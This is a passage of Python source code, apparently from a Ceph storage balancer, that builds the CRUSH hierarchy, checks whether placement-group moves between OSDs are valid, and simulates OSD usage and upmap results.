dict()\n\n# all bucket ids of roots\nbucket_root_ids = list()\n\nfor device in CLUSTER_STATE[\"crush_dump\"][\"devices\"]:\n    id = device[\"id\"]\n    assert id >= 0\n    bucket_ids_tmp[id] = device\n\nfor bucket in buckets:\n    id = bucket[\"id\"]\n    assert id < 0\n    bucket_ids_tmp[id] = bucket\n\n    # collect all root buckets\n    if bucket[\"type_name\"] == \"root\":\n        bucket_root_ids.append(id)\n\n    # get osd crush weights\n    for item in bucket[\"items\"]:\n        item_id = item[\"id\"]\n        # it's an osd\n        if item_id >= 0:\n            # json-crushweight is in 64-gbyte blocks apparently\n            size = (item[\"weight\"] / 64) * 1024 ** 3\n            osds[item_id].update({\n                \"crush_weight\": size,\n            })\n\n\n# find osd host name\nfor node in CLUSTER_STATE[\"osd_df_tree_dump\"][\"nodes\"]:\n    if node['type'] == \"host\":\n        for osdid in node['children']:\n            osds[osdid][\"host_name\"] = node['name']\n\n\ndef bucket_fill(id, parent_id=None):\n    \"\"\"\n    returns the list of all child buckets for a given id\n    plus for each of those, their children.\n    \"\"\"\n    bucket = bucket_ids_tmp[id]\n\n    children = list()\n    ids = dict()\n\n    this_bucket = {\n        \"id\": id,\n        \"name\": bucket[\"name\"],\n        \"type_name\": bucket[\"type_name\"],\n        \"weight\": bucket[\"weight\"],\n        \"parent\": parent_id,\n        \"children\": children,\n    }\n    ids[id] = this_bucket\n\n    for child_item in bucket[\"items\"]:\n        child = bucket_ids_tmp[child_item[\"id\"]]\n        cid = child[\"id\"]\n        if cid < 0:\n            new_nodes, new_ids = bucket_fill(cid, id)\n            ids.update(new_ids)\n            children.extend(new_nodes)\n\n        else:\n            # it's a device\n            new_node = {\n                \"id\": cid,\n                \"name\": child[\"name\"],\n                \"type_name\": \"osd\",\n                \"class\": child[\"class\"],\n                \"parent\": id,\n            }\n            ids[cid] = new_node\n            children.append(new_node)\n\n    return this_bucket, ids\n\n# populare all roots\nbucket_roots = list()\nfor root_bucket_id in bucket_root_ids:\n    bucket_tree, bucket_ids = bucket_fill(root_bucket_id)\n    bucket_roots.append((bucket_tree, bucket_ids))\n\ndel bucket_ids_tmp\n\n\n@lru_cache(maxsize=2 ** 14)\ndef trace_crush_root(osd, root_name):\n    \"\"\"\n    in the given root, trace back all items from the osd up to the root\n    \"\"\"\n    found = False\n    for root_bucket, try_root_ids in bucket_roots:\n        if root_bucket[\"name\"] == root_name:\n            root_ids = try_root_ids\n            break\n\n    if not root_ids:\n        raise Exception(f\"crush root {root_name} not known?\")\n\n    try_node_in_root = root_ids.get(osd)\n    if try_node_in_root is None:\n        # osd is not part of this root, i.e. wrong device class\n        return None\n\n    node_id = try_node_in_root[\"id\"]\n    assert node_id == osd\n\n    # walk from leaf (osd) to the tree root\n    bottomup = list()\n    while True:\n        if node_id is None:\n            # we reached the root\n            break\n\n        bottomup.append({\n            \"id\": node_id,\n            \"type_name\": root_ids[node_id][\"type_name\"],\n        })\n\n        if root_ids[node_id][\"name\"] == root_name:\n            found = True\n            break\n\n        node_id = root_ids[node_id][\"parent\"]\n\n    if not found:\n        raise Exception(f\"could not find a crush-path from osd={osd} to {root_name!r}\")\n\n    topdown = list(reversed(bottomup))\n    return topdown\n\n\n@lru_cache(maxsize=2**20)\ndef get_pg_shardsize(pgid):\n    pg_stats = pgs[pgid]['stat_sum']\n    shard_size = pg_stats['num_bytes']\n    shard_size += pg_stats['num_omap_bytes']\n\n    ec_profile = pg_ec_profile(pgid)\n    if ec_profile:\n        shard_size /= ec_profiles[ec_profile][\"data_chunks\"]\n        # omap is not supported on EC pools (yet)\n        # when it is, check how the omap data is spread (replica or also ec?)\n\n    return shard_size\n\n\ndef find_item_type(trace, item_type, rule_depth, item_uses):\n    for idx, item in enumerate(trace, start=1):\n        if item[\"type_name\"] == item_type:\n            item_uses[rule_depth][item[\"id\"]] += 1\n            return idx\n    return None\n\n\ndef rule_for_pg(pg):\n    \"\"\"\n    get the crush rule for a pg.\n    \"\"\"\n    pool = pools[pool_from_pg(move_pg)]\n    crushruleid = pool['crush_rule']\n    return crushrules[crushruleid]\n\n\ndef root_uses_from_rule(rule, pool_size):\n    \"\"\"\n    rule: crush rule id\n    pool_size: number of osds in one pg\n\n    return {root_name: choice_count} for the given crush rule.\n\n    the choose-step nums are processed in order:\n    val ==0: remaining_pool_size\n    val < 0: remaining_pool_size - val\n    val > 0: val\n    \"\"\"\n    chosen = 0\n\n    # rootname -> number of chooses for this root\n    root_usages = defaultdict(int)\n\n    root_candidate = None\n    root_chosen = None\n    root_use_num = None\n\n    for step in rule[\"steps\"]:\n        if step[\"op\"] == \"take\":\n            root_candidate = step[\"item_name\"]\n\n        elif step[\"op\"].startswith(\"choose\"):\n            # TODO: maybe \"osd\" type can be renamed, fetch it dynamically\n            if root_candidate and (step[\"op\"].startswith(\"chooseleaf\")\n                                   or step[\"type\"] == \"osd\"):\n                root_chosen = root_candidate\n                root_use_num = step[\"num\"]\n\n        elif step[\"op\"] == \"emit\":\n            if root_chosen:\n                if root_use_num == 0:\n                    root_use_num = pool_size\n                elif root_use_num < 0:\n                    root_use_num = pool_size - root_use_num\n                elif root_use_num > 0:\n                    pass  # = root_use_num\n\n                # limit to pool size\n                if root_use_num > pool_size - chosen:\n                    root_use_num = pool_size - chosen\n\n                root_usages[root_chosen] += root_use_num\n                chosen += root_use_num\n                root_candidate = None\n                root_chosen = None\n                root_use_num = None\n                if chosen == pool_size:\n                    break\n\n    if not root_usages:\n        raise Exception(f\"rule chooses no roots\")\n\n    return root_usages\n\n\ndef rootweights_from_rule(rule, pool_size):\n    \"\"\"\n    given a crush rule and a pool size (involved osds in a pg),\n    calculate the weights crush-roots are chosen for each pg.\n    \"\"\"\n    root_usages = root_uses_from_rule(rule, pool_size)\n\n    # normalize the weights:\n    weight_sum = sum(root_usages.values())\n\n    # TODO: handle `default` root\n    #       -> distribute it to the other involved roots\n\n    root_weights = dict()\n    for root_name, root_usage in root_usages.items():\n        root_weights[root_name] = root_usage / weight_sum\n\n    return root_weights\n\n\ndef candidates_for_root(root_name):\n    \"\"\"\n    get the set of all osds where a crush rule could place shards.\n    \"\"\"\n\n    for root_bucket, try_root_ids in bucket_roots:\n        if root_bucket[\"name\"] == root_name:\n            root_ids = try_root_ids\n            break\n\n    if not root_ids:\n        raise Exception(f\"crush root {root} not known?\")\n\n    ret = set()\n\n    for nodeid in root_ids.keys():\n        if (nodeid >= 0 and\n            osds[nodeid]['weight'] != 0 and\n            osds[nodeid]['crush_weight'] != 0):\n\n            ret.add(nodeid)\n\n    return ret\n\n\nclass PGMoveChecker:\n    \"\"\"\n    for the given rule and utilized pg_osds,\n    create a checker that can verify osd replacements are valid.\n    \"\"\"\n\n    def __init__(self, pg_mappings, move_pg):\n        # which pg to relocate\n        self.pg = move_pg\n\n        self.pool = pools[pool_from_pg(move_pg)]\n        self.pool_size = self.pool[\"size\"]\n        self.rule = crushrules[self.pool['crush_rule']]\n\n        # crush root name for the pg\n        self.root_names = root_uses_from_rule(self.rule, self.pool_size).keys()\n\n        # all available placement osds for this crush root\n        self.osd_candidates = set()\n        for root_name in self.root_names:\n            for osdid in candidates_for_root(root_name):\n                self.osd_candidates.add(osdid)\n\n        self.pg_mappings = pg_mappings  # current pg->[osd] mapping state\n        self.pg_osds = pg_mappings.get_mapping(move_pg)  # acting osds managing this pg\n\n    def get_osd_candidates(self):\n        \"\"\"\n        return all possible candidate OSDs for the PG to relocate.\n        \"\"\"\n        return self.osd_candidates\n\n    def prepare_crush_check(self):\n        \"\"\"\n        perform precalculations for moving this pg\n        \"\"\"\n        logging.debug(strlazy(lambda: f\"prepare crush check for pg {self.pg} currently up={self.pg_osds}\"))\n        logging.debug(strlazy(lambda: f\"rule:\\n{pformat(self.rule)}\"))\n\n        # ruledepth -> allowed number of bucket reuse\n        reuses_per_step = []\n        fanout_cum = 1\n\n        # calculate how often one bucket layer can be reused\n        # this is the crush-constraint, set up by the rule\n        for step in reversed(self.rule[\"steps\"]):\n            if step[\"op\"] == \"take\":\n                num = 1\n            elif step[\"op\"].startswith(\"choose\"):\n                num = step[\"num\"]\n            elif step[\"op\"] == \"emit\":\n                num = 1\n            else:\n                continue\n\n            reuses_per_step.append(fanout_cum)\n\n            if num <= 0:\n                num += self.pool_size\n\n            fanout_cum *= num\n        reuses_per_step.reverse()\n\n        logging.debug(strlazy(lambda: f\"allowed reuses per rule step, starting at root: {pformat(reuses_per_step)}\"))\n\n        # for each depth, count how often items were used\n        # rule_depth -> {itemid -> use count}\n        item_uses = defaultdict(lambda: defaultdict(lambda: 0))\n\n        # example: 2+2 ec -> size=4\n        #\n        # root        __________-9______________________________\n        # rack: _____-7_______    _________-8_____        ___-10____\n        # host: -1    -2    -3    -4    -5      -6        -11     -12\n        # osd: 1 2 | 3 4 | 5 6 | 7 8 | 9 10 | 11 12 |   13 14 | 15 16\n        #        _     _         _     _\n        #\n        # take root\n        # choose 2 racks\n        # chooseleaf 2 hosts\n        #\n        # fanout: rule step's num = selections below bucket\n        # [1, 2, 2]\n        #\n        # inverse aggregation, starting with 1\n        # reuses_per_step = [4, 2, 1]\n        #\n        # current pg=[2, 4, 7, 9]\n        #\n        # Now: replace_osd 2\n        #\n        # traces from root down to osd:\n        #   2: [-9, -7, -1, 2]\n        #   4: [-9, -7, -2, 4]\n        #   7: [-9, -8, -4, 7]\n        #   9: [-9, -8, -5, 9]\n        #\n        # use counts - per rule depth.\n        #  {0: {-9: 4}, 1: {-7: 2, -8: 2}, 2: {-1: 1, -2: 1, -4: 1, -5: 1}}\n        #\n        # from this use count, subtract the trace of the replaced osd\n        #\n        # now eliminate candidates:\n        # * GET TRACE FROM THEM\n        # * check use counts against reuses_per_step\n        #\n        # 1 -> -9 used 3<4, -7 used 1<2, -1 used 0<1 -> ok\n        # 2 -> replaced..\n        # 3 -> -9 used 3<4, -7 used 1<2, -2 used 1<1 -> fail\n        # 4 -> keep, not replaced\n        # 5 -> -9 used 3<4, -7 used 1<2, -3 used 0<1 -> ok\n        # 6 -> -9 used 3<4, -7 used 1<2, -3 used 0<1 -> ok\n        # 7 -> keep, not replaced\n        # 8 -> -9 used 3<4, -8 used 2<2, -4 used 1<1 -> fail\n        # ...\n        #\n        # replacement candidates for 2: 1, 5, 6, 13 14 15 16\n        #\n\n        # did we encounter an emit?\n        emit = False\n\n        # collect trace for each osd.\n        # osd -> crush-root-trace\n        constraining_traces = dict()\n\n        # how far down the crush hierarchy have we stepped\n        # 1 = root depth\n        tree_depth = 0\n\n        # at what rule position is our processing\n        # since we skip steps like set_chooseleaf_tries\n        rule_depth = 0\n\n        # rule_depth -> tree_depth to next rule (what tree layer is this rule step)\n        # because \"choose\" steps may skip layers in the crush hierarchy\n        rule_tree_depth = dict()\n\n        current_item_type = None\n\n        # gather item usages by evaluating the crush rules\n        for step in self.rule[\"steps\"]:\n            if step[\"op\"].startswith(\"set_\"):\n                continue\n\n            logging.debug(strlazy(lambda: f\"processing crush step {step} with tree_depth={tree_depth}, \"\n                                          f\"rule_depth={rule_depth}, item_uses={item_uses}\"))\n\n            if step[\"op\"] == \"take\":\n                rule_root_name = step[\"item_name\"]\n\n                # should be known already since we fetch it the exact same way\n                assert rule_root_name in self.root_names\n\n                # first step: try to find tracebacks for all osds that ends up in this root.\n                # we collect root-traces of all acting osds of the pg we wanna check for.\n                constraining_traces = dict()\n\n                for pg_osd in self.pg_osds:\n                    trace = trace_crush_root(pg_osd, rule_root_name)\n                    if trace is None:\n                        raise Exception(f\"no trace found for {pg_osd} in {rule_root_name}\")\n                    constraining_traces[pg_osd] = trace\n                    # the root was \"used\"\n                    item_uses[rule_depth][trace[0][\"id\"]] += 1\n\n                rule_tree_depth[rule_depth] = 0\n                tree_depth = 1\n                rule_depth += 1\n                current_item_type = rule_root_name\n\n            elif step[\"op\"].startswith(\"choose\"):\n                if not constraining_traces:\n                    raise Exception('no backtraces captured from rule (missing \"take\"?)')\n\n                choose_type = step[\"type\"]\n\n                # find the new tree_depth by looking how far we need to step for the choosen next bucket\n\n                for constraining_trace in constraining_traces.values():\n                    steps_taken = find_item_type(constraining_trace[tree_depth:], choose_type, rule_depth, item_uses)\n                    if steps_taken is None:\n                        raise Exception(f\"could not find item type {choose_type} \"\n                                        f\"requested by rule step {step}\")\n\n                # how many layers we went down the tree\n                rule_tree_depth[rule_depth] = tree_depth + steps_taken\n                tree_depth += steps_taken\n                rule_depth += 1\n                current_item_type = choose_type\n\n            elif step[\"op\"] == \"emit\":\n                if current_item_type == \"osd\":\n                    # if we're already at osd level, no need to search further down\n                    for constraining_trace in constraining_traces.values():\n                        # we are already at the end of the trace since we're at osd level\n                        if len(constraining_trace) != tree_depth:\n                            raise Exception(f\"when current item type is osd, \"\n                                            f\"trace length ({len(constraining_trace)}) \"\n                                            f\"must match tree_depth ({tree_depth:})!\")\n\n                        steps_taken = find_item_type(constraining_trace[tree_depth - 1:], \"osd\", rule_depth, item_uses)\n\n                        if steps_taken is None:\n                            raise Exception(f\"could not apply re-step down to osd \"\n                                            f\"when handling rule step {step}\")\n                        if steps_taken != 1:\n                            raise Exception(f\"re-step down to osd did not result in 1 step, \"\n                                            f\"took {steps_taken} when handling rule step {step}\")\n\n                    rule_tree_depth[rule_depth] = tree_depth\n\n\n                else:\n                    # we've not yet reached osd level, so step down further\n                    for constraining_trace in constraining_traces.values():\n                        steps_taken = find_item_type(constraining_trace[tree_depth:], \"osd\", rule_depth, item_uses)\n                        if steps_taken is None:\n                            raise Exception(f\"could not find trace steps down to osd\"\n                                            f\"requested by rule step {step}\")\n\n                    rule_tree_depth[rule_depth] = tree_depth + steps_taken\n                    tree_depth += steps_taken\n\n                rule_depth += 1\n\n                # sanity checks lol\n                assert len(rule_tree_depth) == rule_depth\n                assert len(item_uses) == rule_depth\n                for idx, reuses in enumerate(reuses_per_step):\n                    for item, uses in item_uses[idx].items():\n                        if reuses != uses:\n                            print(f\"reuses: {reuses_per_step}\")\n                            print(f\"item_uses: {pformat(item_uses)}\")\n                            print(f\"constraining_traces: {pformat(constraining_traces)}\")\n                            raise Exception(f\"during emit, rule step {idx} item {item} was used {uses} != {reuses} expected\")\n\n                # only one emit supported so far\n                if emit == True:\n                    raise Exception(\"multiple emits in crush rule not yet supported\")\n\n                emit = True\n\n            else:\n                raise Exception(f\"unknown crush operation encountered: {step['op']}\")\n\n        if not emit:\n            raise Exception(\"uuh no emit seen?\")\n\n        if not constraining_traces:\n            raise Exception(\"no tree traces gathered?\")\n\n        # validate item uses:\n        for i in range(rule_depth):\n            for item, uses in item_uses[i].items():\n                if uses != reuses_per_step[i]:\n                    print(f\"reuses: {reuses_per_step}\")\n                    print(f\"item_uses: {pformat(item_uses)}\")\n                    print(f\"constraining_traces: {pformat(constraining_traces)}\")\n                    raise Exception(\"final item uses != crush item, in step {i}: \"\n                                    f\"{item}={uses} != {reuses_per_step[i]}\")\n\n        self.constraining_traces = constraining_traces  # osdid->crush-root-trace\n        self.rule_tree_depth = rule_tree_depth  # rulestepid->tree_depth\n        self.reuses_per_step = reuses_per_step  # rulestepid->allowed_item_reuses\n        self.item_uses = item_uses  # rulestepid->{item->use_count}\n\n    def is_move_valid(self, old_osd, new_osd):\n        \"\"\"\n        verify that the given new osd does not violate the\n        crush rules' constraints of placement.\n        \"\"\"\n        if new_osd in self.pg_osds:\n            logging.debug(strlazy(lambda: f\"   crush invalid: osd.{new_osd} in {self.pg_osds}\"))\n            return False\n\n        if new_osd not in self.osd_candidates:\n            logging.debug(strlazy(lambda: f\"   crush invalid: osd.{new_osd} not in same crush root\"))\n            return False\n\n        # TODO: figure out the crush root for the old_osd, and use it for new_osd too\n        # for now, just assume there's only one root per rule...\n        assert len(self.root_names) == 1\n        old_osd_root = next(iter(self.root_names))\n\n        # create trace for the replacement candidate\n        new_trace = trace_crush_root(new_osd, old_osd_root)\n\n        if new_trace is None:\n            # probably not a compatible device class\n            logging.debug(f\"   crush: no trace found for {new_osd}\")\n            return False\n\n        # the trace we no longer consider (since we replace the osd)\n        old_trace = self.constraining_traces[old_osd]\n\n        overuse = False\n        for idx, tree_stepwidth in enumerate(self.rule_tree_depth):\n            use_max_allowed = self.reuses_per_step[idx]\n\n            # as we would remove the old osd trace,\n            # the item would no longer be occupied in the new trace\n            old_item = old_trace[tree_stepwidth][\"id\"]\n            # this trace now adds to the item uses:\n            new_item = new_trace[tree_stepwidth][\"id\"]\n\n            # how often is new_item used now?\n            # if not used at all, it's not in the dict.\n            uses = self.item_uses[idx].get(new_item, 0)\n\n            if old_item == new_item:\n                uses -= 1\n\n            # if we used it, it'd be violating crush\n            # (the +1 was 'optimized' by >= instead of >)\n            if uses >= use_max_allowed:\n                logging.debug(strlazy(lambda: f\"   crush invalid: osd.{new_osd} violates item={new_item} x uses={uses+1} > max_allowed={use_max_allowed}\"))\n                overuse = True\n                break\n\n        return not overuse\n\n    def get_placement_variance(self, osd_from=None, osd_to=None):\n        \"\"\"\n        calculate the variance of weighted OSD usage\n        for all OSDs that are candidates for this PG\n\n        osd_from -> osd_to: how would the variance look, if\n                            we had moved data.\n        \"\"\"\n\n        if osd_from or osd_to:\n            pg_shardsize = get_pg_shardsize(self.pg)\n\n        osds_used = list()\n        for osd in self.osd_candidates:\n            delta = 0\n            if osd == osd_from:\n                delta = -pg_shardsize\n            elif osd == osd_to:\n                delta = pg_shardsize\n\n            if osds[osd]['weight'] == 0 or osds[osd]['crush_weight'] == 0:\n                # relative usage of weight 0 is impossible\n                continue\n\n            osd_used = self.pg_mappings.get_osd_usage(osd, add_size=delta)\n            osds_used.append(osd_used)\n\n        var = statistics.variance(osds_used)\n        return var\n\n    def filter_candidates(self, osdids):\n        \"\"\"\n        given an iterator of osd ids, return only those\n        entries that are in the same crush root\n        \"\"\"\n        for osdid in osdids:\n            if osdid not in self.osd_candidates:\n                continue\n            yield osdid\n\n\nclass PGMappings:\n    \"\"\"\n    PG mapping simulator\n    used to calculate device usage when moving around pgs.\n    \"\"\"\n    def __init__(self, pgs, osds, osd_candidates):\n\n        # the \"real\" devices, just used for their \"fixed\" properties like\n        # device size\n        self.osds = osds\n\n        # all possible osd candidates where we can map to (due to crush class)\n        self.osd_candidates = osd_candidates\n\n        # up state: osdid -> {pg, ...}\n        self.osd_pgs_up = defaultdict(set)\n\n        # acting state: osdid -> {pg, ...}\n        self.osd_pgs_acting = defaultdict(set)\n\n        # choose the up mapping, since we wanna optimize the \"future\" cluster\n        # up pg mapping: pgid -> [up_osd, ...]\n        self.pg_mappings = dict()\n\n        for pg, pginfo in pgs.items():\n            up_osds = pginfo[\"up\"]\n            self.pg_mappings[pg] = list(up_osds)\n\n            for osdid in up_osds:\n                self.osd_pgs_up[osdid].add(pg)\n\n            acting_osds = pginfo[\"acting\"]\n            for osdid in acting_osds:\n                self.osd_pgs_acting[osdid].add(pg)\n\n        # pg->[(osd_from, osd_to), ...]\n        self.remaps = dict()\n\n        # osdid -> used kb, based on the osd-level utilization report\n        self.osd_utilizations = dict()\n        for osdid, osd in self.osds.items():\n            # this is the current \"acting\" size.\n            # and the parts of not-yet-fully-transferred up pgs\n            osd_fs_used = osd['device_used']\n\n            # we want the up-size, i.e. the osd utilization when all moves\n            # would be finished.\n            # to estimate it, we need to add the (partial) shards of (up - acting)\n            # and remove the shards of (acting - up)\n            # osd_fs_used already contains the size of partially transferred shards.\n            # now we account for ongoing/planned transfers.\n\n            # pgs that are transferred to the osd, so they will be acting soon(tm)\n            for pg in (self.osd_pgs_up[osdid] - self.osd_pgs_acting[osdid]):\n                shardsize = get_pg_shardsize(pg)\n                pginfo = pgs[pg]\n\n                pg_objs = pginfo[\"stat_sum\"][\"num_objects\"]\n\n                if pg_objs <= 0:\n                    shardsize_already_transferred = 0\n                else:\n                    # for each move to be done, objects_misplaced+=pg_objs,\n                    # thus we do /misplaced_shards below\n                    pg_objs_misplaced = pginfo[\"stat_sum\"][\"num_objects_misplaced\"]\n                    pg_objs_degraded = pginfo[\"stat_sum\"][\"num_objects_degraded\"]\n\n                    # the pginfo statistics only provide us with pg-overall statistics\n                    # so we need to figure out how much of that affects the current osdid\n                    # -> see how many moves exist for the whole pg,\n                    # and estimate the fraction due to movements with this osdid.\n\n                    # the pg is moved and the source is missing\n                    pg_degraded_moves = 0\n                    # the pg is moved and the source exists\n                    pg_misplaced_moves = 0\n                    # this osd is the target of a pg move where the source is nonexistant\n                    degraded_shards = 0\n                    # this osd is the target of a pg move where the source does exist\n                    misplaced_shards = 0\n\n                    moves = get_remaps(pginfo)\n\n                    # TODO in pginfo there's shard status, but that doesn't seem to contain\n                    # sensible content?\n\n                    for osds_from, osds_to in moves:\n                        # -1 means in from -> move is degraded for EC\n                        # for replica, len(from) < len(to) = degraded\n                        if pg_is_ec(pg):\n                            if -1 in osds_from:\n                                pg_degraded_moves += len(osds_from)\n                                if osdid in osds_to:\n                                    degraded_shards += 1\n                            else:\n                                pg_misplaced_moves += len(osds_from)\n                                if osdid in osds_to:\n                                    misplaced_shards += 1\n                        else:  # replica pg\n                            if len(osds_to) == len(osds_from):\n                                pg_misplaced_moves += len(osds_to)\n                                if osdid in osds_to:\n                                    misplaced_shards += 1\n                            else:\n                                pg_degraded_moves += len(osds_to) - len(osds_from)\n                                if osdid in osds_to:\n                                    degraded_shards += 1\n\n                    # the following assumes that all shards of this pg are recovered at the same rate,\n                    # when there's multiple from/to osds for this pg\n                    osd_pg_objs_to_restore = 0\n                    if degraded_shards > 0:\n                        osd_pg_objs_degraded = pg_objs_degraded / pg_degraded_moves\n                        osd_pg_objs_to_restore += osd_pg_objs_degraded * degraded_shards\n\n                    if misplaced_shards > 0:\n                        osd_pg_objs_misplaced = pg_objs_misplaced / pg_misplaced_moves\n                        osd_pg_objs_to_restore += osd_pg_objs_misplaced * misplaced_shards\n\n                    # adjust fs size by average object size times estimated restoration count.\n                    # because this is kinda lame but it seems one can't get more info\n                    # the balancer will work best if there are no more remapped PGs!\n                    pg_obj_size = shardsize / pg_objs\n                    pg_objs_transferred = pg_objs - osd_pg_objs_to_restore\n                    if pg_objs_transferred < 0:\n                        raise Exception(f\"pg {pg} to be moved to osd.{osdid} is misplaced \"\n                                        f\"with {pg_objs_transferred}<0 objects already transferred\")\n\n                    shardsize_already_transferred = int(pg_obj_size * pg_objs_transferred)\n\n                missing_shardsize = shardsize - shardsize_already_transferred\n\n                # add the estimated future shardsize\n                osd_fs_used += missing_shardsize\n\n            # pgs that are transferred off the osd\n            for pg in (self.osd_pgs_acting[osdid] - self.osd_pgs_up[osdid]):\n                osd_fs_used -= get_pg_shardsize(pg)\n\n            self.osd_utilizations[osdid] = osd_fs_used\n            logging.debug(strlazy(lambda: f\"estimated {'osd.%s' % osdid: <8} usage: acting={pformatsize(osd['device_used'], 3)} up={pformatsize(osd_fs_used, 3)}\"))\n\n    def apply_remap(self, pg, osd_from, osd_to):\n        \"\"\"\n        simulate a remap pg from one osd to another.\n        this updates the mappings stored in this object.\n        \"\"\"\n\n        self.osd_pgs_up[osd_from].remove(pg)\n        self.osd_pgs_up[osd_to].add(pg)\n\n        pg_mapping = self.pg_mappings[pg]\n        did_remap = False\n        for i in range(len(pg_mapping)):\n            if pg_mapping[i] == osd_from:\n                logging.debug(strlazy(lambda: f\"recording move of pg={pg} from {osd_from}->{osd_to}\"))\n                pg_mapping[i] = osd_to\n                did_remap = True\n                break\n\n        if not did_remap:\n            raise Exception(f\"did not find osd {osd_from} in pg {pg} mapping\")\n\n        # adjust the tracked sizes\n        shard_size = get_pg_shardsize(pg)\n        self.osd_utilizations[osd_from] -= shard_size\n        self.osd_utilizations[osd_to] += shard_size\n\n        self.get_osd_shardsize_sum.cache_clear()\n        self.get_osd_usage.cache_clear()\n        self.get_osd_space_allocated.cache_clear()\n\n        # insert a new mapping tracker\n        self.remaps.setdefault(pg, []).append((osd_from, osd_to))\n\n    def get_osd_usages(self):\n        \"\"\"\n        calculate {osdid -> usage percent}\n        \"\"\"\n        # if an osd has a weight of 0, it's 100% full.\n        return {osdid: self.get_osd_usage(osdid) for osdid in self.osd_candidates}\n\n    def get_osd_usages_asc(self):\n        \"\"\"\n        return [(osdid, usage in percent)] sorted ascendingly by usage\n        \"\"\"\n        # from this mapping, calculate the weighted osd size,\n        return list(sorted(self.get_osd_usages().items(), key=lambda osd: osd[1]))\n\n    def get_mapping(self, pg):\n        return list(self.pg_mappings[pg])\n\n    def get_osd_pgs_up(self, osd):\n        return set(self.osd_pgs_up[osd])\n\n    def get_osd_pgs_acting(self, osd):\n        return set(self.osd_pgs_acting[osd])\n\n    def get_pg_move_candidates(self, osd):\n        return PGCandidates(self, osd)\n\n    @lru_cache(maxsize=2**18)\n    def get_osd_shardsize_sum(self, osd):\n        \"\"\"\n        calculate the osd usage by summing all the mapped (up) PGs shardsizes\n        -> we can calculate a future size\n        \"\"\"\n        used = 0\n\n        for pg in self.get_osd_pgs_up(osd):\n            used += get_pg_shardsize(pg)\n\n        return used\n\n    @lru_cache(maxsize=2**18)\n    def get_osd_space_allocated(self, osdid):\n        \"\"\"\n        return the osd usage reported by the osd, but with added shardsizes\n        when pg movements were applied.\n        \"\"\"\n        return self.osd_utilizations[osdid]\n\n    def get_osd_weighted_size(self, osdid):\n        \"\"\"\n        return the weighted OSD device size\n        \"\"\"\n\n        osd = self.osds[osdid]\n        size = osd['device_size']\n        weight = osd['weight']\n\n        return size * weight\n\n    def get_osd_crush_weighted_size(self, osdid):\n        \"\"\"\n        return the weighted OSD device size\n        \"\"\"\n\n        osd = self.osds[osdid]\n        size = osd['crush_weight']\n        weight = osd['weight']\n\n        return size * weight\n\n    def get_osd_size(self, osdid):\n        \"\"\"\n        return the osd size in bytes, depending on the size determination variant.\n        \"\"\"\n\n        if args.osdsize == \"device\":\n            osd_size = self.osds[osdid]['device_size']\n        elif args.osdsize == \"weighted\":\n            osd_size = self.get_osd_weighted_size(osdid)\n        elif args.osdsize == \"crush\":\n            osd_size = self.get_osd_crush_weighted_size(osdid)\n        else:\n            raise Exception(f\"unknown osd weight method {args.osdsize!r}\")\n\n        return osd_size\n\n    @lru_cache(maxsize=2**18)\n    def get_osd_usage(self, osdid, add_size=0):\n        \"\"\"\n        returns the occupied OSD space, by estimating the placed shards.\n\n        another variant is add to the used data amount with add_size.\n        \"\"\"\n        osd_size = self.get_osd_size(osdid)\n\n        if osd_size == 0:\n            raise Exception(f\"getting relative usage of osd.{osdid} which has size 0 impossible\")\n\n        if args.osdused == \"delta\":\n            used = self.get_osd_space_allocated(osdid)\n        elif args.osdused == \"shardsum\":\n            used = self.get_osd_shardsize_sum(osdid)\n        else:\n            raise Exception(f\"unknown osd usage estimator: {args.osdused!r}\")\n\n        used += add_size\n\n        # logging.debug(f\"{osdid} {pformatsize(used)}/{pformatsize(osd_size)} = {used/osd_size * 100:.2f}%\")\n\n        # make it relative\n        used /= osd_size\n        used *= 100\n\n        return used\n\n    def get_upmaps(self):\n        \"\"\"\n        get all applied mappings\n        return {pgid: [(map_from, map_to), ...]}\n        \"\"\"\n        # {pgid -> [(map_from, map_to), ...]}\n        upmap_results = dict()\n\n        for pgid in self.remaps.keys():\n            upmap_results[pgid] = self.get_pg_upmap(pgid)\n\n        return upmap_results\n\n    def get_pg_upmap(self, pgid):\n        \"\"\"\n        get all applied mappings for a pg\n        return [(map_from, map_to), ...]\n        \"\"\"\n\n        remaps_list = self.remaps.get(pgid, [])\n\n        # remaps is [(osdfrom, osdto), ...], now osdfrom->osdto\n        # these are the \"new\" remappings.\n        # osdfrom->osdto\n        new_remaps = dict(remaps_list)\n\n        # merge new upmaps\n        # i.e. (1, 2), (2, 3) => (1, 3)\n        for new_from, new_to in remaps_list:\n            other_to = new_remaps.get(new_to)\n            if other_to is not None:\n                new_remaps[new_from] = other_to\n                del new_remaps[new_to]\n\n        # current_upmaps are is [(osdfrom, osdto), ...]\n        current_upmaps = upmap_items.get(pgid, [])\n\n        # now, let's merge current_upmaps and remaps:\n\n        # which of the current_upmaps to retain\n        resulting_upmaps = list()\n\n        # what remap-source-osds we already covered with merges\n        merged_remaps = set()\n\n        for current_from, current_to in current_upmaps:\n            # do we currently map to a device, from which we move it again now?\n            current_remapped_to = new_remaps.get(current_to)\n            if current_remapped_to is not None:\n                # this remap's source osd will now be merged\n                merged_remaps.add(current_to)\n\n                if current_from == current_remapped_to:\n                    # skip current=(75->72), remapped=(72->75) leading to (75->75)\n                    continue\n\n                # transform e.g. current=197->188, remapped=188->261 to 197->261\n                resulting_upmaps.append((current_from, current_remapped_to))\n                continue\n\n            resulting_upmaps.append((current_from, current_to))\n\n        for new_from, new_to in new_remaps.items():\n            if new_from in merged_remaps:\n                continue\n            resulting_upmaps.append((new_from, new_to))\n\n        for new_from, new_to in resulting_upmaps:\n            if new_from == new_to:\n                raise Exception(f\"somewhere something went wrong, we map {idpg} from osd.{new_from} to osd.{new_to}\")\n\n        return resulting_upmaps\n\n    def osd_pool_pg_count(self, osdid):\n        \"\"\"\n        return {pool -> pg_count} for an OSD\n        \"\"\"\n        ret = defaultdict(lambda: 0)\n        for pg in self.get_osd_pgs_up(osdid):\n            ret[pool_from_pg(pg)] += 1\n\n        return ret\n\n    def pool_pg_count_ideal(self, poolid, candidate_osds):\n        \"\"\"\n        return the ideal pg count for a poolid,\n        given the candidate osd ids, expressed pgs/byte\n        \"\"\"\n\n        pool = pools[poolid]\n        pool_total_pg_count = pool['size'] * pool['pg_num']\n\n        size_sum = 0\n\n        for osdid in candidate_osds:\n            size_sum += self.get_osd_size(osdid)\n\n        # uuh somehow no osd had a size or all weights 0?\n        assert size_sum > 0\n\n        pgs_per_size = pool_total_pg_count / size_sum\n\n        return pgs_per_size\n\n    def osd_pool_pg_count_ideal(self, poolid, osdid, candidate_osds):\n        